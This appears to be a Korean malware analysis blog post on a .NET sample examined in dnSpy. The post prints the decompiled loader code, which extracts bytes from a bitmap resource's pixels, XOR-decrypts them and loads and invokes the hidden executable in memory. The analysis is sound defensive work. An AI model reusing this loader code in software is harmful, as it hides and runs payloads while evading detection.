https://app.any.run/tasks/d3e50a5d-0926-45d9-9217-2990fb3b4ca4/#
MD5: 092391846C8553DA1A40D3586945A5DF
VM : VM Workstation Pro 15
OS : Windows 10 64bit(FLARE VM)
닷넷 기반의 악성코드이다.
닷넷은 IL 기반이며, 닷넷 프레임워크에 의해 명령어가 해석된다.
x64dbg로 로드할시 IL이 native api로 변환된 어셈블리로 분석해야 하기 때문에 복잡할 수 있다.
dnspy를 이용하면 IL을 다시 C#으로 디컴파일한 결과를 출력하므로 C#으로 분석할 수 있다.
또한 디컴파일된 상태에서 디버깅이 가능하다.
EP에 브레이크포인트를 설정하고 디버깅을 시작한다.
Form1
클래스 안에서 초기화하는 부분을 보면 Class2
인스턴스를 생성한다.
Class2
에서는 testimonial
함수를 호출한다.
testimonial
public string testimonial() { byte[] rawAssembly = Class2.gzrd(Class2.Zwrfe(Class2.bzxr(Class1.SFJFSJSFF))); Assembly assembly = AppDomain.CurrentDomain.Load(rawAssembly); MethodInfo entryPoint = assembly.EntryPoint; this.sdasad(entryPoint); ProjectData.EndApp(); return "ac"; }
Class1.SFJFSJSFF
에 있는 문자열에 대한 리소스를 비트맵 형식으로 변환하여 Class2.bzxr
함수로 얻어온다.
public static Bitmap bzxr(string x10) { ResourceManager resourceManager = new ResourceManager("winformDSS.Properties.Resources", Assembly.GetCallingAssembly()); return (Bitmap)resourceManager.GetObject(x10); }
가져온 비트맵을 Zwife
에서 픽셀을 변경하고
private static byte[] Zwrfe(Bitmap data) { List<byte> list = new List<byte>(); checked { int num = data.Width - 1; for (int i = 0; i <= num; i++) { int num2 = data.Height - 1; for (int j = 0; j <= num2; j++) { Color pixel = data.GetPixel(i, j); Color right = Color.FromArgb(0, 0, 0, 0); bool flag = pixel != right; bool flag2 = flag; if (flag2) { list.AddRange(new byte[] { pixel.R, pixel.G, pixel.B }); } } } return list.ToArray(); } }
gzrd
에서 xor로 복호화시킨다.
private static byte[] gzrd(byte[] data) { checked { byte[] array = new byte[data.Length - 16 - 1 + 1]; Array.Copy(data, 16, array, 0, array.Length); int num = array.Length - 1; for (int i = 0; i <= num; i++) { byte[] array2 = array; int num2 = i; array2[num2] ^= data[i % 16]; } return array; } }
그리고 변환된 리소스(아마 실행파일)를 로드한다.
testimonial
Assembly assembly = AppDomain.CurrentDomain.Load(rawAssembly); MethodInfo entryPoint = assembly.EntryPoint; ... ... } private void sdasad(MethodInfo x) { x.Invoke(null, null); }
실제로 변환된 리소스를 확인해보면 시작값은 PE헤더의 시그니처를 가진다.(4D5A)
또한, invoke
이후에 dnspy 하위로 실행중이던 run.exe
는 종료되고 새로운 run.exe
가 실행되는 것을 확인할 수 있다.
run.exe
는 리소스를 가져와서 복호화한 바이너리를 invoke
하고 종료한다.